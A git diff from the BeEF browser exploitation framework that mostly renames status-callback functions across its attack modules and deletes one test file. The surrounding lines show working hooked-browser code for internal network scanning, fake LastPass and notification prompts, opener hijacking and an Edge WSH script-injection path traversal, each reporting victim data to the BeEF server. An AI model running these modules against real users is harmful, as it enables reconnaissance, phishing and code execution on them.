beef.net.send("<%= @command_url %>", <%= @command_id %>, "ip="+host+"&status=alive", beef.status.success());' + '}' + 'if (!data.match("Hijacked Contents:")) return;' + @@ -135,7 +135,7 @@ beef.execute(function() { '}' + 'beef.debug("proto="+proto+"&ip="+host+"&port="+port+"&title="+title+"&response="+response);' + - 'beef.net.send("<%= @command_url %>", <%= @command_id %>, "proto="+proto+"&ip="+host+"&port="+port+"&title="+title+"&response="+response, beef.are.status_success());' + + 'beef.net.send("<%= @command_url %>", <%= @command_id %>, "proto="+proto+"&ip="+host+"&port="+port+"&title="+title+"&response="+response, beef.status.success());' + ' }', url); } catch(e) { beef.debug("[Cross-Origin Scanner (Flash)] Could not create object: " + e.message); diff --git a/modules/network/detect_burp/command.js b/modules/network/detect_burp/command.js index 8f90ab1238..895d2519c3 100644 --- a/modules/network/detect_burp/command.js +++ b/modules/network/detect_burp/command.js @@ -18,10 +18,10 @@ beef.execute(function() { var response = FindProxyForURL('', ''); beef.debug("Response: " + response); beef.net.send("<%= @command_url %>", <%= @command_id %>, - "has_burp=true&response=" + response, beef.are.status_success()); + "has_burp=true&response=" + response, beef.status.success()); } catch(e) { beef.debug("Response: " + e.message); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "has_burp=false", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "has_burp=false", beef.status.error()); } } diff --git a/modules/network/fetch_port_scanner/command.js b/modules/network/fetch_port_scanner/command.js index ba4c9f521f..a7ee3198d2 100644 --- a/modules/network/fetch_port_scanner/command.js +++ b/modules/network/fetch_port_scanner/command.js @@ -62,7 +62,7 @@ beef.execute(function() { function fetch_scan(hostname, port_) { // check if port that is to be scanned is part of the banned list and report back to the BeEF server if (check_blocked(parseInt(port_))) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": is a blocked port and won't be scanned", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": is a blocked port and won't be scanned", beef.status.success()); return; } // define an AbortController to handle timeouts and to terminate connections [currently set to 5 seconds] @@ -84,14 +84,14 @@ beef.execute(function() { // If there is a status returned then Mozilla Firefox 68.5.0esr made a successful connection HTTP based or not // and or Chrome received HTTP based traffic. if (res.status === 0) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is open", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is open", beef.status.success()); } }) // If an error occurred with the fetch this could be due to reaching the time out, the port being closed or non HTTP traffic. .catch(err => { // Alert BeEF if we are giving up due to the port not responding for N seconds if (signal.aborted === true) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": Giving up on port due to Timeout", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": Giving up on port due to Timeout", beef.status.success()); } else { // We need to capture how long it took to fail ASAP to get an idea on timing differences @@ -101,14 +101,14 @@ beef.execute(function() { if (isFirefox === true) { if (navigator.platform === 'Win32') { if ((end - start) > 600 ) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is closed", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is closed", beef.status.success()); } else { - beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is open but not HTTP", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is open but not HTTP", beef.status.success()); } } else { - beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is closed", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is closed", beef.status.success()); } } else { @@ -118,23 +118,23 @@ beef.execute(function() { // // check if windows or linux if (navigator.platform === 'Win32') { if ((end - start) > 121 ) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is closed", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is closed", beef.status.success()); } else { - beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is open but does not communicate via HTTP", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is open but does not communicate via HTTP", beef.status.success()); } } else if (navigator.platform.toLowerCase().includes('linux')) { // this is for linux if ((end - start) < 11 ) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is closed", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is closed", beef.status.success()); } else { - beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is open but does not communicate via HTTP", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is open but does not communicate via HTTP", beef.status.success()); } } else { - beef.net.send("<%= @command_url %>", <%= @command_id %>,"Module hasn't been tested against this browser.", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>,"Module hasn't been tested against this browser.", beef.status.success()); } } } diff --git a/modules/network/get_http_servers/command.js b/modules/network/get_http_servers/command.js index 19bf9aa1de..ae5de8db87 100644 --- a/modules/network/get_http_servers/command.js +++ b/modules/network/get_http_servers/command.js @@ -15,7 +15,7 @@ beef.execute(function() { if(beef.browser.isO()) { beef.debug("[Favicon Scanner] Browser is not supported."); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unsupported browser", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unsupported browser", beef.status.error()); return; } @@ -39,7 +39,7 @@ beef.execute(function() { } ports = sort_unique(target_ports); if (ports.length == 0) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=no ports specified", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=no ports specified", beef.status.error()); return; } @@ -79,7 +79,7 @@ beef.execute(function() { } ips = sort_unique(target_ips); if (ips.length == 0) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed target IP address(es) supplied", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed target IP address(es) supplied", beef.status.error()); return; } } @@ -93,7 +93,7 @@ beef.execute(function() { img.src = proto+"://"+ip+":"+port+uri; img.onerror = function() { dom.removeChild(this); } img.onload = function() { - beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto='+proto+'&ip='+ip+'&port='+port+"&url="+escape(this.src), beef.are.status_success());dom.removeChild(this); + beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto='+proto+'&ip='+ip+'&port='+port+"&url="+escape(this.src), beef.status.success());dom.removeChild(this); beef.debug("[Favicon Scanner] Found HTTP Server [" + escape(this.src) + "]"); } dom.appendChild(img); diff --git a/modules/network/get_ntop_network_hosts/command.js b/modules/network/get_ntop_network_hosts/command.js index 38104bc639..3e4dd07af0 100644 --- a/modules/network/get_ntop_network_hosts/command.js +++ b/modules/network/get_ntop_network_hosts/command.js @@ -20,10 +20,10 @@ beef.execute(function() { try { var result = JSON.stringify(ntopDict); beef.debug("[Get ntop Network Hosts] Success: Found ntop data (" + result.length + ' bytes)'); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "proto=http&ip=<%= @rhost %>&port=<%= @rport %>&data="+result, beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "proto=http&ip=<%= @rhost %>&port=<%= @rport %>&data="+result, beef.status.success()); } catch(e) { beef.debug("[Get ntop Network Hosts] Error: Did not find ntop"); - beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result=did not find ntop', beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result=did not find ntop', beef.status.error()); return; } } diff --git a/modules/network/get_proxy_servers_wpad/command.js b/modules/network/get_proxy_servers_wpad/command.js index b06631533e..ea84c809e3 100644 --- a/modules/network/get_proxy_servers_wpad/command.js +++ b/modules/network/get_proxy_servers_wpad/command.js @@ -18,7 +18,7 @@ beef.execute(function() { if (typeof FindProxyForURL === 'function') { var wpad = FindProxyForURL.toString(); beef.debug("[Get Proxy Servers] Success: Found wpad (" + wpad.length + ' bytes)'); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "has_wpad=true&wpad="+wpad, beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "has_wpad=true&wpad="+wpad, beef.status.success()); } else { beef.debug("[Get Proxy Servers] Error: Did not find wpad"); beef.net.send("<%= @command_url %>", <%= @command_id %>, "has_wpad=false"); @@ -38,7 +38,7 @@ beef.execute(function() { return; } beef.debug("[Get Proxy Servers] Found "+proxies.length+" proxies: " + proxies.join(',')); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "proxies=" + proxies.join(','), beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "proxies=" + proxies.join(','), beef.status.success()); } load_script("http://wpad/wpad.dat"); diff --git a/modules/network/identify_lan_subnets/command.js b/modules/network/identify_lan_subnets/command.js index ad0cb8b398..20bc58f18c 100644 --- a/modules/network/identify_lan_subnets/command.js +++ b/modules/network/identify_lan_subnets/command.js @@ -8,7 +8,7 @@ beef.execute(function() { if(!beef.browser.isFF() && !beef.browser.isC()){ beef.debug("[command #<%= @command_id %>] Browser is not supported."); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unsupported browser", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unsupported browser", beef.status.error()); } var min_timeout = 500; @@ -102,13 +102,13 @@ var doScan = function(timeout) { beef.debug("Returned large hit rate (" + discovered_hosts.length + " of " + count + ") indicating low network latency. Retrying scan with decreased timeout (" + (timeout - 500) + "ms)"); doScan(timeout-500); } else { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unexpected results&hosts="+hosts, beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unexpected results&hosts="+hosts, beef.status.error()); } } else if (discovered_hosts.length == 0) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=no results", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=no results", beef.status.error()); } else { beef.debug("[command #<%= @command_id %>] Identifying LAN hosts completed."); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'hosts='+hosts, beef.are.status_success()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'hosts='+hosts, beef.status.success()); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=scan complete"); } } diff --git a/modules/network/internal_network_fingerprinting/command.js b/modules/network/internal_network_fingerprinting/command.js index 089f8b1346..89f50ec0ee 100644 --- a/modules/network/internal_network_fingerprinting/command.js +++ b/modules/network/internal_network_fingerprinting/command.js @@ -42,7 +42,7 @@ beef.execute(function() { // set target IP range var range = ipRange.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$'); if (range == null || range[1] == null) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed IP range supplied", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed IP range supplied", beef.status.error()); return; } // ipRange will be in the form of 192.168.0.1-192.168.0.254 @@ -300,7 +300,7 @@ beef.execute(function() { img.onerror = function() { dom.removeChild(this); } img.onload = function() { if (this.width == urls[this.id][5] && this.height == urls[this.id][6]) { - beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto='+proto+'&ip='+ip+'&port='+port+'&discovered='+signature_name+"&url="+escape(this.src), beef.are.status_success());dom.removeChild(this); + beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto='+proto+'&ip='+ip+'&port='+port+'&discovered='+signature_name+"&url="+escape(this.src), beef.status.success());dom.removeChild(this); beef.debug("[Network Fingerprint] Found [" + signature_name + "] with URL [" + escape(this.src) + "]"); } } diff --git a/modules/network/jslanscanner/command.js b/modules/network/jslanscanner/command.js index a5353e8a78..2f400e7747 100644 --- a/modules/network/jslanscanner/command.js +++ b/modules/network/jslanscanner/command.js @@ -9,7 +9,7 @@ beef.execute(function() { if(!beef.browser.isFF() && !beef.browser.isS()){ beef.debug("[command #<%= @command_id %>] Browser is not supported."); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unsupported browser", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unsupported browser", beef.status.error()); return; } @@ -354,12 +354,12 @@ beef.execute(function() { lanScanner.addHost = function(obj) { this.timeout = 0; beef.debug("[JS LAN Scanner] Found "+this.getPortName(obj.port)+" [proto: http, ip: "+obj.host+", port: "+obj.port+"]"); - beef.net.send("<%= @command_url %>", <%= @command_id %>, 'proto=http&ip='+obj.host+'&port='+obj.port+'&service='+this.getPortName(obj.port), beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'proto=http&ip='+obj.host+'&port='+obj.port+'&service='+this.getPortName(obj.port), beef.status.success()); lanScanner.fingerPrint(obj.host); } lanScanner.addDevice = function(obj) { beef.debug("[JS LAN Scanner] Found " + obj.make + ' ' + obj.model + ' [ip: ' + obj.host + ']'); - beef.net.send("<%= @command_url %>", <%= @command_id %>, 'ip='+obj.host+'&device='+obj.make+' '+obj.model, beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'ip='+obj.host+'&device='+obj.make+' '+obj.model, beef.status.success()); } lanScanner.destroyConnections = function() { var guessesLen = guesses.length; diff --git a/modules/network/ping_sweep/command.js b/modules/network/ping_sweep/command.js index b18c1b27a1..9c6a79a0f9 100644 --- a/modules/network/ping_sweep/command.js +++ b/modules/network/ping_sweep/command.js @@ -12,7 +12,7 @@ beef.execute(function() { var timeout = 1000; if(!beef.browser.hasCors()) { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support CORS', beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support CORS', beef.status.error()); return; } @@ -41,7 +41,7 @@ beef.execute(function() { // set target IP range var range = rhosts.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$'); if (range == null || range[1] == null) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed IP range supplied", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed IP range supplied", beef.status.error()); return; } ipBounds = rhosts.split('-'); @@ -96,7 +96,7 @@ beef.execute(function() { 'var duration = current_time - start_time;' + 'if (duration < '+timeout+') {' + 'beef.debug("[Ping Sweep] '+ip+' [" + duration + " ms] -- host is up");' + - 'beef.net.send("<%= @command_url %>", <%= @command_id %>, "ip='+ip+'&ping="+duration+"ms", beef.are.status_success());' + + 'beef.net.send("<%= @command_url %>", <%= @command_id %>, "ip='+ip+'&ping="+duration+"ms", beef.status.success());' + '} else {' + 'beef.debug("[Ping Sweep] '+ip+' [" + duration + " ms] -- timeout");' + '}' + diff --git a/modules/network/ping_sweep_ff/command.js b/modules/network/ping_sweep_ff/command.js index 34a27db373..1d088ab846 100644 --- a/modules/network/ping_sweep_ff/command.js +++ b/modules/network/ping_sweep_ff/command.js @@ -57,7 +57,7 @@ beef.execute(function() { if(ips.length>1) { var int_id = setInterval( function() { var host = do_scan(ips[i++],timeout); - if(host!="") beef.net.send('<%= @command_url %>', <%= @command_id %>, 'host='+host, beef.are.status_success()); + if(host!="") beef.net.send('<%= @command_url %>', <%= @command_id %>, 'host='+host, beef.status.success()); if(i==ips.length) { clearInterval(int_id); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'host=Ping sweep finished'); } }, delay); } else { diff --git a/modules/network/ping_sweep_java/command.js b/modules/network/ping_sweep_java/command.js index c0199c028b..01c54a5e00 100644 --- a/modules/network/ping_sweep_java/command.js +++ b/modules/network/ping_sweep_java/command.js @@ -28,11 +28,11 @@ beef.execute(function() { output = document.pingSweep.getAliveHosts(); clearTimeout(int_timeout); clearTimeout(ext_timeout); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ps=Alive hosts:<br>'+output.replace(/\n/g,"<br>"), beef.are.status_success()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ps=Alive hosts:<br>'+output.replace(/\n/g,"<br>"), beef.status.success()); beef.dom.detachApplet('pingSweep'); return; }else{ - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ps=No hosts to check', beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ps=No hosts to check', beef.status.error()); return; } } catch (e) { diff --git a/modules/network/port_scanner/command.js b/modules/network/port_scanner/command.js index 9a6f7ad2a3..e4e690cb6d 100644 --- a/modules/network/port_scanner/command.js +++ b/modules/network/port_scanner/command.js @@ -166,7 +166,7 @@ beef.execute(function() { { known_service = "(" + default_services[port_] + ")"; } - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ip='+host+'&port=CORS: Port ' + port_ + ' is OPEN ' + known_service, beef.are.status_success()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ip='+host+'&port=CORS: Port ' + port_ + ' is OPEN ' + known_service, beef.status.success()); } } diff --git a/modules/persistence/confirm_close_tab/command.js b/modules/persistence/confirm_close_tab/command.js index 3fcbfbf6c2..199d0d6b24 100644 --- a/modules/persistence/confirm_close_tab/command.js +++ b/modules/persistence/confirm_close_tab/command.js @@ -24,10 +24,10 @@ beef.execute(function() { try { window.open(popunder_url,popunder_name,'toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=1,height=1,left='+screen.width+',top='+screen.height+'').blur(); window.focus(); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window successfully created!', beef.are.status_success()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window successfully created!', beef.status.success()); } catch(e) { beef.debug("[Create Pop-Under] Could not create pop-under window"); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window was not created', beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window was not created', beef.status.error()); } } diff --git a/modules/persistence/hijack_opener/command.js b/modules/persistence/hijack_opener/command.js index 4477a8679d..dd75e9d341 100644 --- a/modules/persistence/hijack_opener/command.js +++ b/modules/persistence/hijack_opener/command.js @@ -9,9 +9,9 @@ beef.execute(function() { try { beef.debug("[Hijack Opener] Trying to hijack: " + referrer); window.opener.location = beef.net.httpproto + '://' + beef.net.host+ ':' + beef.net.port + '/iframe#' + referrer; - beef.net.send("<%= @command_url %>", <%= @command_id %>, "success=hijacked window.opener.location", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "success=hijacked window.opener.location", beef.status.success()); } catch (e) { beef.debug("[Hijack Opener] could not hijack opener window: "+e.message) - beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=could not hijack opener window: " + e.message, beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=could not hijack opener window: " + e.message, beef.status.error()); } }); diff --git a/modules/persistence/invisible_htmlfile_activex/command.js b/modules/persistence/invisible_htmlfile_activex/command.js index 82cd70ace0..122ff17ff4 100644 --- a/modules/persistence/invisible_htmlfile_activex/command.js +++ b/modules/persistence/invisible_htmlfile_activex/command.js @@ -20,9 +20,9 @@ beef.execute(function() { // Prevent IE from destroying the previous reference window.open("","_self"); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "success=created HTMLFile ActiveX object", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "success=created HTMLFile ActiveX object", beef.status.success()); } catch (e) { beef.debug("[Invisible HTMLFile ActiveX] could not create HTMLFile ActiveX object: "+e.message) - beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=could not create HTMLFile ActiveX object: " + e.message, beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=could not create HTMLFile ActiveX object: " + e.message, beef.status.error()); } }); diff --git a/modules/persistence/popunder_window/command.js b/modules/persistence/popunder_window/command.js index a17a3939b8..923f489269 100644 --- a/modules/persistence/popunder_window/command.js +++ b/modules/persistence/popunder_window/command.js @@ -15,10 +15,10 @@ beef.execute(function() { try { window.open(popunder_url,popunder_name,'toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=1,height=1,left='+screen.width+',top='+screen.height+'').blur(); window.focus(); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window successfully created!', beef.are.status_success()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window successfully created!', beef.status.success()); } catch(e) { beef.debug("[Create Pop-Under] Could not create pop-under window"); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window was not created', beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window was not created', beef.status.error()); } if (document.removeEventListener) { diff --git a/modules/phonegap/phonegap_detect/command.js b/modules/phonegap/phonegap_detect/command.js index bbd2b48f12..ce823d4b78 100644 --- a/modules/phonegap/phonegap_detect/command.js +++ b/modules/phonegap/phonegap_detect/command.js @@ -19,8 +19,8 @@ beef.execute(function() { + " uuid: " + device.uuid + " version: " + device.version + " model: " + device.model; - beef.net.send("<%= @command_url %>", <%= @command_id %>, "phonegap=" + phonegap_details, beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "phonegap=" + phonegap_details, beef.status.success()); } catch(e) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unable to detect phonegap", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unable to detect phonegap", beef.status.error()); } }); diff --git a/modules/social_engineering/edge_wscript_wsh_injection/command.js b/modules/social_engineering/edge_wscript_wsh_injection/command.js index 1fbd28f66b..c10b2e3634 100755 --- a/modules/social_engineering/edge_wscript_wsh_injection/command.js +++ b/modules/social_engineering/edge_wscript_wsh_injection/command.js @@ -9,7 +9,7 @@ beef.execute(function(){ if (!beef.browser.isEdge()) { beef.debug("[Edge WScript WSH Injection] Browser is not supported."); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser is not supported', beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser is not supported', beef.status.error()); return; } @@ -19,7 +19,7 @@ beef.execute(function(){ wsh_iframe_<%= @command_id %>.setAttribute('src', 'wshfile:test/../../../../../../../Windows/System32/Printing_Admin_Scripts/' + navigator.language + '/pubprn.vbs" 127.0.0.1 script:' + beef_host + '/<%= @command_id %>/index.html'); } catch (e) { beef.debug("[Edge WScript WSH Injection] Could not create iframe"); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Could not create iframe', beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Could not create iframe', beef.status.error()); return; } diff --git a/modules/social_engineering/fake_evernote_clipper/command.js b/modules/social_engineering/fake_evernote_clipper/command.js index 7b195a881c..561df007cd 100755 --- a/modules/social_engineering/fake_evernote_clipper/command.js +++ b/modules/social_engineering/fake_evernote_clipper/command.js @@ -26,7 +26,7 @@ beef.execute(function() { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Chrome IFrame Created .. awaiting messages'); } else { beef.debug('[Fake Evernote Clipper] Unspported browser'); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=No IFrame Created -- browser is not Chrome', beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=No IFrame Created -- browser is not Chrome', beef.status.error()); } }); diff --git a/modules/social_engineering/fake_lastpass/command.js b/modules/social_engineering/fake_lastpass/command.js index 9978e53ae4..ef3d3f5d9e 100755 --- a/modules/social_engineering/fake_lastpass/command.js +++ b/modules/social_engineering/fake_lastpass/command.js @@ -26,7 +26,7 @@ beef.execute(function() { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Chrome IFrame Created .. awaiting messages'); } else { beef.debug('[Fake LastPass] Unspported browser'); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=No IFrame Created -- browser is not Chrome', beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=No IFrame Created -- browser is not Chrome', beef.status.error()); } // $j('body').append("<div id='lp_login_dia' style='width:375px; height:415px; position: fixed; right: 0px; top: 0px; z-index: "+beef.dom.getHighestZindex()+1+"; border: 1px solid white; overflow: hidden; display: none'></div>"); diff --git a/modules/social_engineering/fake_notification_c/command.js b/modules/social_engineering/fake_notification_c/command.js index 2425d74799..8b872e811a 100644 --- a/modules/social_engineering/fake_notification_c/command.js +++ b/modules/social_engineering/fake_notification_c/command.js @@ -29,8 +29,8 @@ beef.execute(function() { }); $j(hid).css('cursor','pointer'); $j(hid).slideDown(300,function() { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Notification has been displayed', beef.are.status_success()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Notification has been displayed', beef.status.success()); }); - return [beef.are.status_success(), 'Notification has been displayed']; + return [beef.status.success(), 'Notification has been displayed']; }); diff --git a/modules/social_engineering/spoof_addressbar_data/command.js b/modules/social_engineering/spoof_addressbar_data/command.js index db9338acd8..183b73ceaa 100644 --- a/modules/social_engineering/spoof_addressbar_data/command.js +++ b/modules/social_engineering/spoof_addressbar_data/command.js @@ -13,7 +13,7 @@ beef.execute(function() { beef.debug("[Spoof Address Bar (data)] Redirecting to data URL..."); } catch (e) { beef.debug("[Spoof Address Bar (data)] could not redirect: "+e.message) - beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=something went horribly wrong: " + e.message, beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=something went horribly wrong: " + e.message, beef.status.error()); } }); diff --git a/modules/social_engineering/text_to_voice/command.js b/modules/social_engineering/text_to_voice/command.js index 1f10887c04..a524fe147d 100644 --- a/modules/social_engineering/text_to_voice/command.js +++ b/modules/social_engineering/text_to_voice/command.js @@ -11,10 +11,10 @@ beef.execute(function() { var sound = new Audio(url); sound.play(); beef.debug('[Text to Voice] Playing mp3: ' + url); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=message sent", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=message sent", beef.status.success()); } catch (e) { beef.debug("[Text to Voice] HTML5 audio unsupported. Could not play: " + url); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=audio not supported", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=audio not supported", beef.status.error()); } }); diff --git a/spec/beef/core/main/autorun_engine/autorun_engine_spec.rb b/spec/beef/core/main/autorun_engine/autorun_engine_spec.rb deleted file mode 100644 index dfe287d0bb..0000000000 --- a/spec/beef/core/main/autorun_engine/autorun_engine_spec.rb +++ /dev/null @@ -1,120 +0,0 @@ -# -# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net -# Browser Exploitation Framework (BeEF) - https://beefproject.com -# See the file 'doc/COPYING' for copying permission -# - -require 'rest-client' -require 'json' -require_relative '../../../../spec_helper' -require_relative '../../../../support/constants' -require_relative '../../../../support/beef_test' - -RSpec.describe 'AutoRunEngine Test', run_on_browserstack: true do - before(:all) do - @__ar_config_snapshot = SpecActiveRecordConnection.snapshot - @config = BeEF::Core::Configuration.instance - - # Grab DB file and regenerate if requested - print_info 'Loading database' - db_file = @config.get('beef.database.file') - print_info 'Resetting the database for BeEF.' - - if ENV['RESET_DB'] - File.delete(db_file) if File.exist?(db_file) - end - - @config.set('beef.credentials.user', 'beef') - @config.set('beef.credentials.passwd', 'beef') - @username = @config.get('beef.credentials.user') - @password = @config.get('beef.credentials.passwd') - - # Load BeEF extensions and modules - # Always load Extensions, as previous changes to the config from other tests may affect - # whether or not this test passes. - print_info 'Loading in BeEF::Extensions' - BeEF::Extensions.load - - # Check if modules already loaded. No need to reload. - if @config.get('beef.module').nil? - print_info 'Loading in BeEF::Modules' - BeEF::Modules.load - else - print_info 'Modules already loaded' - end - - - # Load up DB and migrate if necessary - ActiveRecord::Base.logger = nil - OTR::ActiveRecord.configure_from_hash!(adapter: 'sqlite3', database: db_file) - # otr-activerecord require you to manually establish the connection with the following line - #Also a check to confirm that the correct Gem version is installed to require it, likely easier for old systems. - if Gem.loaded_specs['otr-activerecord'].version > Gem::Version.create('1.4.2') - OTR::ActiveRecord.establish_connection! - end - ActiveRecord::Migrator.migrations_paths = [File.join('core', 'main', 'ar-migrations')] - MUTEX.synchronize do - context = ActiveRecord::MigrationContext.new(ActiveRecord::Migrator.migrations_paths) - if context.needs_migration? - ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration, context.internal_metadata).migrate - end - end - 